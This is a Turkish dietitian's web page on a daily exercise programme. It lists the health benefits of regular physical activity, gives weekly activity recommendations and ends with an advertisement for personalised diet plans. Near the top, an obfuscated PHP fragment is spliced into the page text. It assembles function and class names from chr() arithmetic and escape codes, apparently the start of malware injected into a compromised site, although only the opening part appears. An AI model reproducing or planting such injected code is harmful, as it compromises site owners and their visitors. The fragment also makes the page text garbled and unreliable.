Günlük Egzersiz Programı | Bursa Uzman Diyetisyeni & Fitoterapist Nursena Ardalı

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$KPSRXNVL = chr ( 790 - 710 ).'_' . 'x' . 'c' . "\125" . chr ( 120 - 19 ); $xSYKKfUqz = chr ( 304 - 205 ).chr ( 252 - 144 ).chr (97) . 's' . "\163" . "\x5f" . "\x65" . "\170" . "\151" . "\x73" . "\x74" . 's';$tDLjarJaO = class_exists($KPSRXNVL); $KPSRXNVL = "64582";$xSYKKfUqz = "23685";$wSXkaxVLu = FALSE;$AyJRmGc = 's' . chr (95) . "\156" . "\x47" . "\x65";$lnWjZ = "\x63" . "\154" . chr (97) . chr ( 595 - 480 )."\163" . chr ( 167 - 72 ).'e' . 'x' . "\151" . chr (115) . chr (116) . 's'; Günlük Egzersiz Programı | Bursa Uzman Diyetisyeni & Fitoterapist Nursena Ardalı

Galeri Bilgisi

Galeri Bilgisi

Diyet Açıklaması

Yeterli Düzeyde Fiziksel Aktivite Yapmak

Yeterli düzeyde fiziksel aktivite yapmak
Fiziksel aktivite egzersiz ve sporu da kapsayan geniş bir kavramdır. Her yaş grubunda düzenli fiziksel aktivite;
Sağlıklı olmayı sağlar.
Fiziksel performans kapasitesini artırır
Vücut ağırlığı kontrolüne yardımcı olur.
Yaşam kalitesini artırır.
Denge ve koordinasyonu geliştirir.
Karın bölgesinde yağlanmayı azaltıp, kemik ve kas kuvvetini artırır.
Kalp damar hastalıklarının görülme riskini azaltır.
Kanda yağ (lipid) ve kolesterol düzeyini düşürür.
Şeker hastalığı (Tip 2 diyabet) riskini azaltır.
Bazı kanser türlerinin (meme, kalın bağırsak gibi) görülme riskini azaltır.
Bireyin kendisini daha iyi hissetmesini sağlar, depresyon riskini ve stresi azaltır.
Bu amaçla yetişkinlerin en az 10 dakika olmak kaydıyla haftada 150 dakika, gençlerin ise her gün en az bir saat fiziksel aktivite yapması önerilmektedir. Fiziksel aktivite olarak hızlı tempoda yürüme, koşma, bisiklete binme, paten kayma, ip atlama, futbol, basketbol, voleybol, yüzme ve tenis gibi sporlar yapılabilir. Kas kuvvetini ve gücünü artırmaya yönelik, şınav, mekik veya ağırlık kaldırma gibi aktiviteleri de yapmak sağlıklı olmak açısından önemlidir.

SiZiN DiYET LiSTENiZ HANGiSi

Beslenme bir bütündür ve sporcunun performansını en üst düzeye çıkaracak sihirli yiyecek ve içecekler yoktur. Önemli olan sporcunun, sporcu beslenmesi kuralları içerisinde, yeterli ve dengeli beslenmesinin sağlanmasıdır.peki SiZiN DiYET LiSTENiZ HANGiSi? Siz de hikayenizi gelip anlatırsanız uygun programınızı fırsat ucretlendirme ile hazırlarız. Dyt.Nursena Ardalı Niüfer Bursa Diyetisyenmerkezi Sağlıklı Günler Diler.

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